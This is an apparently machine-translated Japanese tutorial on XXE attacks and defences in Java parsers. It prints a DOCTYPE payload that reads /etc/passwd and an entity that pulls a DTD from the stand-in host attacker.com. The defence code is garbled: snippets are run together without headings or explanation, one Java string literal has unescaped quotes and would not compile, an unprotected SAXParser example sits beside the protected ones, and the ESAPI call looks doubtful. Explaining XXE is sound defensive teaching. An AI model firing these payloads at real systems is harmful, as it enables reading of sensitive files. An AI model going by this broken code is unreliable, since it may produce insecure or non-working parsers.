Java における XML 外部エンティティの攻撃と防御
はじめに:
XML (Extensible Markup Language) は多くのアプリケーションで広く使用されており、データの保存と送信。ただし、XML 外部エンティティ攻撃 (XML External Entity、XXE) などの XML 処理のセキュリティ脆弱性により、アプリケーションは攻撃に対して脆弱になるため、XXE 攻撃を防止して保護する必要があります。この記事では、XXE 攻撃の原理、一般的な攻撃手法を紹介し、一般的な予防策とコード例をいくつか示します。
1. XML 外部エンティティ攻撃とは何ですか?
XML 外部エンティティ攻撃とは、攻撃者が XML プロセッサの脆弱性を利用して外部エンティティを導入し、機密ファイルを読み取ったり、悪意のある操作を実行したりすることを指します。 XML 外部エンティティは、外部のドキュメントまたはリソースを参照するための特別なメカニズムであり、通常の状況では、アプリケーションが有用なデータを取得するのに役立ちます。ただし、攻撃者は、ローカル ファイルやリモート ファイルを読み取ったり、コマンドを実行したりする悪意のあるエンティティを構築する可能性があります。
2. 一般的な攻撃手法
DOCTYPE ステートメント攻撃
攻撃者は、悪意のある DOCTYPE ステートメントを作成することによって XXE 攻撃を引き起こす可能性があります。例:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
上記のコードでは、攻撃者は DOCTYPE
ステートメントを使用して、/etc/passwd## を参照するエンティティ
xxe を定義します。 # ファイルの場合、攻撃者はこの
DOCTYPE 宣言を含む XML ファイルを解析することで機密ファイルを正常に読み取ることができます。
攻撃者は URL エンティティを構築することで XXE 攻撃を引き起こす可能性があります。例:
<!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); XMLHandler handler = new XMLHandler(); saxParser.parse(new File("example.xml"), handler);
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new File("example.xml"));
String xmlContent = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"; String safeContent = ESAPI.encoder().canonicalize(xmlContent); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = ESAPI.securityConfiguration().getSAXFactory().newSAXParser(); parser.parse(new InputSource(new StringReader(safeContent)), new DefaultHandler());
以上がJava における XML 外部エンティティ攻撃と防御の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。